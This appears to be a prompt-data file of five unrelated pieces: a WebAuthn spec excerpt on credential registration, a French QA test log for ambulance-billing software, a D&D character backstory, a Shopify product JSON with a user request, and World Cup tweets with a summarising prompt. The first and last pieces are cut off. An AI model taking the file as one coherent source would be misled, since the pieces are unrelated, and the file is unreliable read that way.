the Relying Party accepts this new registration and replaces the victim’s existing credential registration, and the credentials are discoverable, then the victim could be forced to sign into the attacker’s account at their next attempt. Data saved to the site by the victim in that state would then be available to the attacker.\n\nIf the attestation statement attStmt verified successfully and is found to be trustworthy, then create and store a new credential record in the user account that was denoted in options.user, with the following contents:\ntype\ncredential.type.\n\nid\ncredential.id or credential.rawId, whichever format is preferred by the Relying Party.\n\npublicKey\nThe credential public key in authData.\n\nsignCount\nauthData.signCount.\n\ntransports\nThe value returned from response.getTransports().\n\nbackupEligible\nThe value of the BE flag in authData.\n\nbackupState\nThe value of the BS flag in authData.\n\nThe new credential record MAY also include the following OPTIONAL contents:\n\nattestationObject\nresponse.attestationObject.\n\nattestationClientDataJSON\nresponse.clientDataJSON.\n\nIf the attestation statement attStmt successfully verified but is not trustworthy per step 23 above, the Relying Party SHOULD fail the registration ceremony.\n\nNOTE: However, if permitted by policy, the Relying Party MAY register the credential ID and credential public key but treat the credential as one with self attestation (see §\u202f6.5.4 Attestation Types). If doing so, the Relying Party is asserting there is no cryptographic proof that the public key credential has been generated by a particular authenticator model. See [FIDOSecRef] and [UAFProtocol] for a more detailed discussion.\n\nVerification of attestation objects requires that the Relying Party has a trusted method of determining acceptable trust anchors in step 22 above. Also, if certificates are being used, the Relying Party MUST have access to certificate status information for the intermediate CA certificates. The Relying Party MUST also be able to build the attestation certificate chain if the client did not provide this chain in the attestation information.' -'et d\'autre plan de test \nClient complet ✔ le client est ajouté à la base de donnée\nSur tripList ✔\n - Envoi d\'une mission société A vers REX ✔ la société A n\'est pas proposée dans la liste\n - Modification de la mission ver la société B et ré-envoi ✔ la société A est proposée mais pas la B\nSur tripAdd ✔\n - Envoi d\'une mission société A vers REX ❌ rien ne se passe et la sauvegarde ne marche plus\nSur tripAdd l\'envoi ne se fait pas et la sauvegarde est cassée derrière\nSuite des tests :\n- Envoi d\'une mission société A vers REX ✔ la société A n\'est pas proposée dans la liste\n- Modification de la mission ver la société B et ré-envoi ✔ la société A est proposée mais pas la B\nréalisation d\'un d\'options de tri ✔ pas d\'erreur remonté\nRechargement manuelle de la liste des équipages ❌ les options de tri sont toujours sélectionnées mais ils y a un délais de plusieurs secondes\nAjout d\'un nouvelle équipage ❌ les options de tri sont toujours sélectionnées mais ils y a un délais de plusieurs secondes\nLe tri est bien gardé mais ils y a un délais de plusieurs secondes avant qu\'il soit réapliqué après l\'actualisation\nRechargement manuelle de la liste des équipages ✔ les options de tri sont toujours sélectionnées\nAjout d\'un nouvelle équipage ✔ les options de tri sont toujours sélectionnées\nOuverture de plusieurs fenetres saphir avec des options de tri différentes sur le bandeau équipage ✔ les options de tri respectives à chaque fenêtre sont toujours sélectionnées\nCoché puis sauvegarde ✔ la coche est coché\nDécoché puis sauvegarde ✔ la coche est décoché\nValidation d\'une facture avec le finess de l\'établissement \n - controle de recevabilité ✔ le finess de l\'établissement est envoyé\n - validation de la facture ✔ le finess de l\'établissement est envoyé\nValidation d\'une facture avec le finess du prescripteur \n - controle de recevabilité ✔ le finess du prescripteur est envoyé\n - validation de la facture ✔ le finess du prescripteur est envoyé\nSuppression du centre médical lié au prescripteur après avoir coché "utiliser le finess de l\'établissement" et enregistré la facture ✔ pas d\'erreur et le finess du prescripteur est envoyé\nImpression (liste, impr multi, facture) de la facture avec le finess du prescripteur ✔ le finess du prescripteur est affiché sur l\'impression\nImpression (liste, impr multi, facture) de la facture avec le finess de l\'établissement ✔ le finess du prescripteur est affiché sur l\'impression\nSuppression du centre médical lié au prescripteur après avoir coché "utiliser le finess de l\'établissement" sur une facture déja validé ✔ pas d\'erreur et le finess du prescripteur est envoyé ou utilisé lors de l\'impression\nle code couleur n\'est pas affiché sur la régulation\nAcceptation d\'une intervention de Rubis pour un client déjà présent en base de donnée :\nAvec une adresse de prise en charge déjà présente sur la fiche client saphir ✔ l\'adresse n\'est pas dupliquée\nAvec une adresse de prise en charge non présente sur la fiche client saphir ✔ l\'adresse est ajoutée\nAvec un numéro de téléphone déjà présent sur la fiche client saphir ✔ le numéro de téléphone n\'est pas dupliquée\nAvec un numéro de téléphone non présent sur la fiche client saphir ✔ le numéro de téléphone est ajoutée\nAvec un numéro de sécurité sociale ✔ n\'est pas écrasé\nAvec une date de naissance ✔ n\'est pas écrasé\nAvec un genre ✔ n\'est pas écrasé\nSans numéro de sécurité sociale ✔ il est ajouté à la fiche client de Saphir\nSans date de naissance ✔ elle est ajouté à la fiche client de Saphir\nn\'est plus marqué comme temporaire\nValidation/sauvegarde d\'une facture avec chorus pro ✔\ncréation d\'un avoir d\'une facture ✔\nIntégration de fichiers à une facture dans l\'écran Chorus Pro ✔\nIntégration d’un relevé aux envois Chorus Pro ✔\nDéverrouillage d’un relevé ✔\nAffichage de l’écran ChorusPro ✔\nEnvoi d\'un dossier depuis l\'écran ChorusPro ✔\nExport de la liste non-filtré des donneurs d\'ordre ✔ Path affiché dans la modale\nExport de la liste filtré des donneurs d\'ordre ✔ Path affiché dans la modale\nAction "Modifier" ✔ certain champs de la facture deviennent modifiable, le message informatif est présent\nModification de la facture et enregistrement ✔\nModification de la mutuelle de la facture et enregistrement ✔ Affichage des modal de d\'\nModification de la facture et action Re-Trans ✔\nFacturation:\nAppel MultiPec SEFi ✔ les informations de l\'appel sont bien enregistrées et affichées sur les boutons\nAppel Pec SEFi ✔ les informations de l\'appel sont bien enregistrées et affichées sur les boutons\nAffichage des boutons avant un appel Sefi ✔ les boutons sont bien gris \nCas ou le patient n\'a pas de couverture avec les informations ✔ Bouton rouge\nCas ou le patient a une couverture avec les informations ✔ Bouton vert\nCas erreur lors de l\'appel ✔ Bouton orange\nRéalisation de plusieurs appels SEFi ✔ Mise à jour des dates de consultation\nChangement de client et sauvegarde puis réalisation d\'appels SEFi ✔ Si on retourne sur l\'ancien client les données sont bien affichées\nRégulation\nDemande du code de la carte CPS lors de la validation en masse via SEFi ✔\nAnnulation sur la modal de demande du code de la carte CPS ✔\nValidation en masse via SEFi ✔\nTest du timer de 45 minutes avant de redemander le code de la carte CPS ✔\nles appels sefi pec et sefi pec triple\nvoir si ça te met à jour correctement les 3 nouveaux boutons\nles boutons quand ils sont verts, ça veut dire que tu peux copier les infos du pec sefi vers le SP\ncomme le Tout Copier sur les modal pec sefi\nPointeuse:\nTest réception message sur la pointeuse (avec 1 bandeau ouvert)\nTest réception message sur la pointeuse (avec 2 bandeaux ouverts)\nTest des accusés de réception/lecture dans les cas ci-dessus\nMobile:\nTest réception message sur le mobile (avec 1 bandeau ouvert)\nTest réception message sur le mobile (avec 2 bandeaux ouverts)\nTest réception message général sur le mobile (avec 1 bandeau ouvert)\nTest réception message général sur le mobile (avec 2 bandeaux ouverts)\nTest envoie message depuis le mobile avec réception Saphir (avec 1 bandeau ouvert)\nTest envoie message depuis le mobile avec réception Saphir (avec 2 bandeaux ouverts)\nAutres:\nOuverture de la modal du choix des employés lors de l\'envoie d\'un message général ou pointeuse, sur un deuxième bandeau X (plus de détails dans les problèmes rencontrés ci-dessous)\nProblème d\'ouverture de la modal du choix des employés:\nEtapes pour reproduire :\nOuvrir Saphir, puis le bandeau de messagerie \n• Ouvrir une deuxième instance de Saphir, puis le bandeau de messagerie\n• Dans la seconde instance de Saphir, diquer sur l\'onglet "GENERAL"\n• Ecrire un message dans le champs tout en bas du bandeau\n• Cliquer sur la loupe:\nA La modal ne s\'ouvre pas. En réalité elle s\'ouvre sur la première instance de Saphir, alors que nous sommes sur la deuxième instance. Le problème est le même sur l\'onglet "POINTEUSE".\nSi on supprime la date de fin de service dans Saphir \nSaphir\nsur la mission :\nAffichage de la liste des règlements ✔\nExport de la liste des règlements avec le filtre date de règlement ✔\nExport de la liste des règlements avec le filtre date de règlement fin ✔\nExport de la liste des règlements avec le filtre société ✔\nExport de la liste des règlements avec le filtre numéro de facture ✔\nExport de la liste des règlements avec le filtre source ✔\nExport de la liste des règlements avec le filtre date de facturation ✔\nExport de la liste des règlements avec le filtre montant de règlement ✔\nExport de la liste des règlements avec le filtre Agrément ✔\nExport de la liste des règlements avec le filtre Compte banque ✔\nExport de la liste des règlements avec le filtre Payeur ✔\nExport de la liste des règlements avec le filtre Type de paiement ✔\nExport de la liste des règlements avec le filtre Etat chèque ✔\nExport de la liste des règlements avec le filtre Taux ✔\nExport de la liste des règlements avec le filtre Nom ❌\nExport de la liste des règlements avec le filtre Prénom ❌\nExport de la liste des règlements avec le filtre ID Patient ❌\nProblèmes rencontrés\nErreur dans la console du service lors de la recherche de règlement avec les filtre Nom, Prénom et ID Patient :\nAjout d\'un nouveau lot avec une périodicité "Quinzaine" ✔\nCopie d\'un lot avec une périodicité "Quinzaine" ✔\nSuppression d\'un lot avec une périodicité "Quinzaine" ✔\nAffichage dans les relevés des factures liées aux lots ✔\nValidation d\'une facture du relevé ✔ Affichage dans les relevés mis à jour\nSélectionner L\'option "Ajouter le fichier à la prescription" en cliquant le label ❌\nSauvegarde des fichiers scannés sur une mission non sauvegardée ❌ Modal d\'erreur\nSauvegarde des fichiers scannés sur une mission ✔ les fichiers ajoutés aparraisent bien dans la liste des fichiers de la mission\nvalidation de la mission ✔\nSauvegarde des fichiers scannés sur une mission déjà validée avec et sans l\'option "Ajouter le fichier à la prescription" ✔\nsur la facture :\nAffichage de la liste des fichiers de la facture ✔ les fichiers avec la l\'option "Ajouter le fichier à la prescription" sont sous la catégorie "Prescription"\nSauvegarde des fichiers scannés sur une facture avec et sans l\'option "Ajouter le fichier à la prescription" ✔\nPour moi il faudrait pouvoir sélectionner l\'option en cliquant sur le label (comme pour les coche des factures par exemple)\nEst ce que c\'est normale que pour les missions la catégorie des fichiers est toujours "Autres" ?\n d\'une facture Libre a l\'état "Imprimée" ✔ Symbole $ pour le montant dû\nAffichage de la modal Facture Libre ✔ Symbole $ pour les montants\nSaphir sans ConfigDB.ClientNationality = "France":\nAffichage d\'une facture Libre a l\'état "Imprimée" ✔ Symbole € pour le montant dû\nAffichage de la modal Facture Libre ✔ Symbole € pour les montants\nl\'option "Estimation de retour à la base envoyée qu\'à la fin de la mission sélectionnée" est disponible pour toute les missions de l\'équipage et pas seulement la dernière ❌\nAjout d\'une fin de service avec l\'option "Estimation de retour à la base envoyée qu\'à la fin de la dernière mission" ✔\nAjout d\'une fin de service pour un équipage d\'ambulance (2 employés) ✔ Mise à jour de l\'heure de fin de service pour tout l\'équipage\nAffichage de la liste des clients avec un client dont la fiche est définitive mais que le patient est en pause ✔ pastille orange\nAffichage de la liste des clients avec un client dont la fiche est définitive mais que le patient est en contentieux pour impayé ✔ pastille orange\nAffichage de la liste des clients après modification des fiches client ✔ changement de la couleur des pastilles cohérents\nCréation et validation d\'une mission libre avec numéro de chambre sur l\'adresse d\'arrivé du trajet aller et l\'adresse de départ du trajet retour : réussie ✔, Affichage des numéro de chambre ✔\nModification des numéro de chambre sur la facture : réussie ✔, Affichage des bon numéro de chambre ✔ \nImpression des factures : réussie ✔, Affichage des bon numéro de chambre ✔ \nCréation et validation d\'une mission vsl avec numéro de chambre : réussie ✔, Affichage des numéro de chambre ✔\nTest export via modèle d\'export personalisé : échec ❌ les colonne Cbre ne sont pas renseignées \nEtapes pour reproduire:\nModifier un modèle d\'export personalisé en ajoutant les colonnes "Cbre. dép." et "Cbre. arr." \nRéaliser un export via le modèle modifié d\'une facture Libre\n d\'une facture à différents états pour un client avec spécificité✔\nTest affichage d\'une facture à différents états pour un client avec contrainte bloquante✔\nTest affichage d\'une facture à différents états pour un client avec contrainte avertissement✔\nTest affichage d\'une facture à différents états pour un client avec contrainte information✔\nTest ajout de contraintes sur le client avec la facture ouverte dans une autre fenêtre Saphir, affichage après actualiser✔\nTest ajout de spécificité sur le client avec la facture ouverte dans une autre fenêtre Saphir, affichage après actualiser✔\nTest suppression de contraintes sur le client avec la facture ouverte dans une autre fenêtre Saphir, affichage après actualiser\nTest suppression de spécificité sur le client avec la facture ouverte dans une autre fenêtre Saphir, affichage après actualiser\nElement toujours affiché dans le tooltip\nSupprimer une contrainte ou une spécificité sur le client\nActualiser la facture\nTest création de mission taxi rapide avec les champs personne transporté, nom, prénom, heure de départ d\'arrivé, adresse de départ et d\'arrivé puis entreprise✔\nTest création de mission taxi rapide avec les champs personne transporté, nom, heure de départ d\'arrivé, adresse de départ et d\'arrivé puis entreprise✔\nTest création de mission taxi rapide avec les champs heure de départ d\'arrivé, adresse de départ et d\'arrivé puis entreprise✔\nGetVehiclesForScrTransmittingState - Service d\'érieur a 2560K vers SCR \nFindVehicleAgreementAtDate - ajout d\'une fin de service avec estimation de retour a la base ✔\nModification d\'une facture unique FEL qui est remise à l\'état "Imprimée" en rajoutant un paiement négatif correspondant au montant total : réussie ✔, le bouton re-télétransmettre est grisé ✔\nModification d\'une facture unique non FEL qui est remise à l\'état "Télétransmise" en rajoutant un paiement négatif correspondant au montant total : réussie ✔, le bouton re-télétransmettre est accessible ✔\nPotentiel effet de bord, modification d\'une facture qui appartient à une série : impossible à modifier parce que la prescription est verrouillée ✔' -'Backstory:\nEvendur Buckman came into this world like many others in the great city of Neverwinter in the year 1420 DR under the loving care of Hilda and Naldo Buckman. The new parents were acolytes held in high esteem among the many temples nestled throughout the city working under the rule of king Bann Alagondar. Bann was one of many in the revered Alagondar family line who had ruled for more than a century and had brought prosperity and wealth to the city. Now being with child however, Hilda insisted that the city although great was no place to raise her son. Therefore, soon after Evendur\'s birth, the new parents joined a small group of adventurous folk looking to form a more peaceful life outside the city and they helped found the small settlement of Oakhurst 25 miles eastward along the banks of the mighty neverwinter river. The people\'s hope was that the fertile soil could be cultivated along the banks of the river and trade relationships could be set up with Neverwinter.\n\nNaldo and Hilda took up the role of town acolytes and founded a temple in the budding farming community devoted to Chauntea, the goddess of agriculture, raising Evendur as a member of the clergy. The people of Oakhurst were followers of the temple seeking to bring good harvests and prosperity to the growing community. At least that was until the spring of the year 1451 when weeks of tremors in the ground foretold the eruption of the long dormant Mount Hotenow which devastated the region.\n\nNews quickly spread of the massive devastation which had befallen Neverwinter killing the entire living Alagondar family and laying the city to waste. Oakhurst was initially lucky, spared from the immediate fallout from the volcano but the pain the Oakhurst people would endure soon became clear. As the coming weeks passed the ash lingered in the air and black soot rained down across the fields while cold winds whipped over the landscape throughout the months of Summertide and Highsun granting the name locally "the year of sunless summer" to 1451 DR as many families faced starvation. Everyone did what they could but many of the old and weak among the community perished giving Evendur his first experience with the great suffering that fate could place upon his people. As time passed, the settlement endured quickly rebuilding and being a great help to Neverwinter providing much needed food during the long, tedious rebuilding effort that it had to endure.\n\nOver the next couple decades, the temple continued to serve as a gathering place for the people of Oakhurst, however it also served other purposes unbeknownst to the many people praying among its pews. Naldo throughout his life had always been a bit of a purveyor of antiques and artifacts. His connections and exposure to the noble class of Neverwinter had granted him access to various sacred artifacts. When the eyes of his peers could be avoided, Naldo occasionally acquired these artifacts for his personal collection. He secretly maintained and grew this collection even after his move to Oakhurst where he built a chamber behind the altar to store them. He told any prying eye who were curious that it was strictly forbidden to enter this chamber as not to upset the great goddess of the harvest.\n\nLater, in the year 1483 DR, decades had passed since the eruption of Mount Hotenow. Time had marched on and Evendur\'s parents had become elderly and by necessity passed on to Evendur many duties of the temple such as maintaining the cemetery, holding sermons, and giving last rites. Also, during that summer attendance in the temple started to drop and upon investigation Evendur began to hear rumors of people skipping out on worship due to apple goblins. Evendur at first thought that the people had gone crazy however he witnessed himself a miraculous feat as a young girl who was deathly ill was given just a single slice of a so called "magic apple" and she quickly made a full recovery. The people said that goblins came into the town and demanded someone buy the apple from them which the townspeople bought out of fear thinking it to be some sort of ruse.\n\nThe people of the community quickly forgot about this strange event however the next summer and each summer thereafter the goblins returned bearing another apple. The people of the town attempted to plant the seeds from the magic apples however after sprouting and growing for a period of time the sapling would disappear. The townspeople became convinced that the goblins were stealing the plants and were trying to keep all the magic apples to themselves. It became an annual event as each summer neared that the temple\'s attendance would drop as the people fought over access and obsessed over the magical healing properties of that years goblin apple.\n\nEventually, Naldo and Hilda passed of natural causes very close to each other and Evendur was left distraught. After witnessing the death of his parents and with his own age becoming something that could no longer be ignored, Evendur had to contend with the inevitability of his own death. Upon his deathbed, Naldo told Evendur what was in the secret chamber and asked him to watch over his collection. Although he continued to perform his duties in the temple for years to come, it took a few years for Evendur to build the courage to enter the chamber as it reminded him of his inevitable fate. At long last though Evendur finally opened the chamber discovering various miraculous and beautiful artifacts but one seemed to call to him. On a small pedestal was a Prayer wheel, a ritualistic device with the text of prayers written on a spinning disc which along with reciting the prayers was said to enhance the effects of the prayer. This prayer wheel spoke of Kelemvor the god of death and judge of the damned.\n\nEvendur instantly understood a new calling, an answer to the question he had been struggling with that while death could be delayed, it was an absolute inevitability and not to be feared. With this new calling Evendur arranged a replacement priest for the temple and set out to discover greater truths of Kelemvor. He first set out east along the Neverwinter river toward the closest settlement to Oakhurst, a small community of halflings named Riverside nestled into the western edge of the neverwinter wood and bordered on the south by the banks of the rushing river.\n\nThe halflings of Riverside didn\'t receive many visitors as it was a mostly isolated community however they were welcoming to Evendur. After meeting a few of the local folk Evendur discovered them to be a very hospitable people willing to welcome visitors for short stays amongst their people. Evendur planned to stay for a short time a share with them the knowledge he had gained about life, death, and meaning, but it became clear quickly that the people were not focused on his teachings. Instead the halflings were consumed in fear and gossip of an endemic insomnia that was plaguing various members of the community.\n\nEvendur was brought to the town hall where the patients of the insomnia had gathered and ducked his head down as he entered the small gathering hall. Inside were a half dozen halflings looking very unkempt and after talking with a few Evendur realized many of them haven\'t slept for up to a tenday. Later in the evening a young halfling woman wearing a large straw hat and with a large horn-like musical instrument strapped to her side entered the room introducing herself as Pearl. She had great concern for her fellow residents of Riverside and the two of them listened to the stories of one of the locals, a baker named Lyle Littlefoot, as he described his experience in heartbreaking detail. Evendur put his hand on Pearl\'s shoulder to comfort her as tears started to well up in her when suddenly Evendur\'s prayer wheel started to spin and glow and a radiant yellow light was emitted from his hand. Pearl immediately pulled out her instrument and started playing a beautiful lullaby which hung in the air as waves of color slowly rippled across the room bouncing off the walls. Miraculously all the halflings experiencing the insomnia were able to sleep however the effects quickly wore off soon after Pearl had stopped playing.\n\nAcross the room an elderly halfling who had been assisting with the care of the sick, had witnessed the song. She beckoned over Evendur and Pearl and slowly spoke words which neither of them would ever forget. \n\n "Do you realize what you two just did? I have seen this before long ago but most only hear of it in tales as old as time. You are both one with the weave… suffused with the energy that lies untapped in every rock, river, and living being. Gifted with something few mortals possess… I\'m speaking of magic my dears. The energy of creation and the ability to shape the very fabric of our world. You are both destined for great things."\n \nThe woman\'s name was Nora Strongbones, one of the most elderly and wise in Riverside. Evendur and pearl talked with Nora about what they should do now and she told them that whatever was plaguing Riverside may be greater than their current abilities. She urged them to go out in the world and find a way to help. Evendur then mentioned a magical apple from his hometown of Oakhurst but said that the only known source was a group of goblins that comes to the edge of town and sells one per year shortly after the midsummer festival and that the townspeople fought over access its healing properties. After further discussion the three decided maybe they should try to find the source of this magical fruit.\n\nEarly the next morning Evendur and Pearl then set out on the 20 mile trek west to Oakhurst. They arrived late in the afternoon tired and weary from a full day\'s travel and Evendur led the way toward the local tavern, the Ol\' Boar Inn. They sat down at one of the various tables in the cozy establishment and were thankful for some much needed rest and some of proprietor Garon\'s famous hearty soup made in huge batches with meat from the weekly hunt.' -'You provided random informations, I want you to use infomrations from here\n\n{\n "id": "4f07d5a7-4311-4d4d-9d12-342f6bc1d7e1",\n "shop": {\n "id": "4c2f2588-8cfa-479a-8bcf-0c7ee75ee36f",\n "myshopify\\_domain": "gastronomical-global.myshopify.com",\n "country": "US",\n "domain": "ghettogastro.com"\n },\n "variants": [\n {\n "id": "22cc1ccc-6418-4f3c-a9d9-c06e2ce22a4a",\n "shop": {\n "id": "4c2f2588-8cfa-479a-8bcf-0c7ee75ee36f",\n "myshopify\\_domain": "gastronomical-global.myshopify.com",\n "country": "US",\n "domain": "ghettogastro.com"\n },\n "inventory\\_policy": "deny",\n "inventory\\_quantity": 278,\n "inventory\\_item\\_cost": null,\n "option1": "Default Title",\n "option2": null,\n "option3": null,\n "position": 1,\n "price": 20.0,\n "title": "Default Title",\n "sku": "GSTWVYAR1",\n "grams": 0.0,\n "weight": 0.0\n }\n ],\n "body\\_html": "Don’t cheat yourself, treat yourself with WAVY, a nourishing waffle and pancake mix that\'s sweet and decadent. Inspired by our ancestors breaking bread we connect the flavors of Africa, Asia, and The Americas through our ingredient stack. Made with organic roots and grains.\n\n\\nNon-GMO. Plant Based. Gluten Free. No sugar cane.\n\n\\n\n\n\\n\\n|\\n Ingredients |\\n Nutrition Facts |\\n\n\\n|\\n Rice Flour\\*, Cassava Flour\\*, Coconut Sugar\\*, Tigernut Flour\\*, Cocoa Butter Powder, Potato Starch\\*, Sorghum Flour\\*, Amaranth Powder\\*, Kosher Salt, Active Yeast\\*, Baking Powder, Sunflower Lecithin\\*. (\\*Organic) \xa0 |\\n \\n\n\n\\n\\n|\\n \\n12 servings per containerServing size: 3 Tablespoons (35g)\\n |\\n\n\\n|\\n |\\n |\\n\n\\n|\\n \\nAmount\xa0per Serving |\\n % Daily Value\\*\\n |\\n\n\\n|\\n |\\n |\\n\n\\n|\\n Calories\xa0150\\n |\\n |\\n\n\\n|\\n \\nTotal Fat 4.5g\\n |\\n 6% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Saturated Fat 2g\\n |\\n 10% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Trans Fat 0g\\n |\\n |\\n\n\\n|\\n Cholesterol 0mg\\n |\\n 0% |\\n\n\\n|\\n Sodium 150mg\\n |\\n 7% |\\n\n\\n|\\n Total Carbohydrate 23g\\n |\\n 8%\\n |\\n\n\\n|\\n \xa0 \xa0 \xa0Dietary Fiber 1g |\\n 4% |\\n\n\\n|\\n \\n\xa0 \xa0 \xa0Total Sugars 5g |\\n |\\n\n\\n|\\n \xa0 \xa0 \xa0 \xa0 \xa0 Includes 0g Added Sugars |\\n 0% |\\n\n\\n|\\n Protein 1g\\n |\\n |\\n\n\\n|\\n Vitamin D 0mcg |\\n 0% |\\n\n\\n|\\n Calcium 20mg |\\n 2% |\\n\n\\n|\\n Iron 1mg |\\n 6% |\\n\n\\n|\\n Potassium 73mg |\\n 2% |\\n\n\\n\\n\n\\n |\\n\n\\n\\n\n",\n "handle": "ancestral-roots-waffle-pancake-mix",\n "image\\_src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_2.png?v=1652481515",\n "images": [\n {\n "id": 32177532338347,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_2.png?v=1652481515",\n "width": 1771,\n "height": 2300,\n "position": 1,\n "created\\_at": "2022-05-13T18:38:29-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/32177532338347"\n },\n {\n "id": 32177532305579,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/01\\_Ancestral\\_1.png?v=1652481515",\n "width": 1277,\n "height": 1583,\n "position": 2,\n "created\\_at": "2022-05-13T18:38:28-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/32177532305579"\n },\n {\n "id": 28933332697259,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_3\\_ancestral\\_roots.png?v=1652481515",\n "width": 1662,\n "height": 2164,\n "position": 3,\n "created\\_at": "2021-06-08T12:59:50-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332697259"\n },\n {\n "id": 28933332795563,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_4\\_ancestral\\_roots.png?v=1652481515",\n "width": 1666,\n "height": 2164,\n "position": 4,\n "created\\_at": "2021-06-08T12:59:51-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332795563"\n },\n {\n "id": 28933332828331,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_5\\_ancestral\\_roots.png?v=1652481515",\n "width": 1664,\n "height": 2164,\n "position": 5,\n "created\\_at": "2021-06-08T12:59:51-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332828331"\n },\n {\n "id": 28933332762795,\n "alt": null,\n "src": "https://cdn.shopify.com/s/files/1/0559/6689/2203/products/gastronomical\\_wavy\\_waffle\\_and\\_pancake\\_mix\\_product\\_shot\\_6\\_ancestral\\_roots.png?v=1652481515",\n "width": 1662,\n "height": 2164,\n "position": 6,\n "created\\_at": "2021-06-08T12:59:50-04:00",\n "product\\_id": 6609476714667,\n "updated\\_at": "2022-05-13T18:38:35-04:00",\n "variant\\_ids": [],\n "admin\\_graphql\\_api\\_id": "gid://shopify/ProductImage/28933332762795"\n }\n ],\n "options": [\n {\n "id": 8499721339051,\n "name": "Title",\n "values": [\n "Default Title"\n ],\n "position": 1,\n "product\\_id": 6609476714667\n }\n ],\n "product\\_type": "Waffle & Pancake Mix",\n "published\\_at": "2021-04-04T22:06:37Z",\n "status": "active",\n "title": "Ancestral Roots",\n "vendor": "Ghetto Gastro",\n "origin\\_supplier\\_shop\\_domain": null\n}' -'Describe as reporting live a current event in 3 lines, what is happening right now using the following tweets, with a focus on the term "beautifull" :\n\nsourceText Time\nWhat a goal , beautiful 2-0 #FIFAWorldCup argetina dominating , france are clueless 15:36:49.0000000\n?????? beautiful goal #ARGFRA 15:36:51.0000000\nThat was just a beautiful team goal for Argentina’s 2nd 15:35:56.0000000\nArgentina 2nd goal was beautiful ?? 15:36:50.0000000\nArgentina second goal is pure class omg . Beautiful futbol ????? 15:36:38.0000000\nWhat a beautiful counter attack and fantastic goal!! #ArgentinaVsFrance 15:36:33.0000000\nThat goal from Argentina was why they call it the Beautiful Game 15:36:53.0000000\nbeautiful second goal Argentina ???? 15:36:56.0000000\nWow that was beautiful …what a goal #ArgentinaVsFrance 15:36:37.0000000\nBeautiful team goal by Argentina 15:36:51.0000000\nWhat a beautiful goal #ArgentinaVsFrance #FIFAWorldCup 15:36:26.0000000\nThat\'s a beautiful goal ???\'\'#ARGFRA #FIFAWorldCup 15:36:52.0000000\nBeautiful team goal Argentina ???? 15:36:21.0000000\nAngel Fucking Di Maria????????????\'Oh my God\'This is absolutely beautiful \'#ArgentinaVsFrance #FIFAWorldCup \'Goal of the tournament in terms of team work 15:36:28.0000000\nGOOOOOOOAAAL!!! \'\'Di Maria doubles the lead for Argentina. What a beautiful team goal. \'\'Argentina ???? 2???0?? France ???? \'\'#FifaWorldCup 15:36:50.0000000\nThat\'s a beautiful goal against one of the best teams in the world. Bravo, Argentina! 15:36:56.0000000\nBeautiful goal #ArgentinaVsFrance #FIFAWorldCup argies been all over France. Thoroughly deserve the 2 nil lead 15:36:48.0000000\nBeautiful Football. Beautiful Goal. THATS WHY YOU LOVE THIS BEAUTIFUL GAME! What a counter. ARGENTINA HAVE ONE HAND ON THE TROPHY!\'#FIFAWorldCup 15:36:42.0000000\nDi Maria SCOOOOOOOOOORESSSS\'\'2-0\'\'Beautiful goal.\'\'#WorldCupFinal 15:36:36.0000000\nDi Maria hands Argentina another goal, what a beautiful square play. Text book execution and they punish France. 15:36:56.0000000\nWhat a fucking goal\'Absolutely beautiful ?? \'#ArgentinaVsFrance #FIFAWorldCup 15:36:59.0000000\nbeautiful counter attacking goal from Argentina. France need to find a way to get Mbappe involved. 15:36:52.0000000\nThat was gorgeous wow. That was an amazing goal. I don\'t even want Argentina to win but I can\'t deny that was beautiful 15:36:36.0000000\nThat goal was beautiful ???? #WorldCupFinal 15:36:59.0000000\nArgentina came out to play. That goal was beautiful. What a performance by them so far 15:36:42.0000000\nNow that was a beautiful and well deserved goal! France is done. #WorldCupFinal 15:36:51.0000000\nBeautiful goal from Argentina!!??????????? #FIFAWorldCup 15:36:27.0000000\nBeautiful goal Argentina ???? 15:36:39.0000000\nWhat a beautiful set up & goal by Argentina!!! 15:36:29.0000000\nWHAT A BEAUTIFUL GOAL!!! #ARGFRA #WorldCupFinal #ArgentinaVsFrance 15:36:33.0000000\nBeautiful goal.\'#ARGFRA 15:35:54.0000000\nBeautiful Beautiful goal. France have not got going... 15:36:12.0000000\nWhat a ball by MacAllister!! Beautiful goal #BHAFC #ArgentinaVsFrance 15:36:52.0000000\nWhat a beautiful goal by Argentina #ArgentinaVsFrance 15:36:01.0000000\nBeautiful goal by Argentina to be fair 15:36:50.0000000\nDi Maria, beautiful goal \'\'#Argentina #FIFAWorldCupFinal 15:36:41.0000000\nwow that passing and goal was beautiful \'\'Argentina is not playing today \'\'#FIFAWorldCup #Arg 15:36:55.0000000\nOooof. Worst part is -- it\'s a beautiful goal and well deserved. #ArgentinaVsFrance 15:36:27.0000000\nDi Maria with a beautiful goal and Argentins double their lead. France is not themselves today. #ARGFRA 15:36:22.0000000\nJust beautiful football. Beautiful goal #ArgentinaVsFrance #WorldCupFinal 15:36:32.0000000\nArgentina deserves this. Team work and a goal. That is 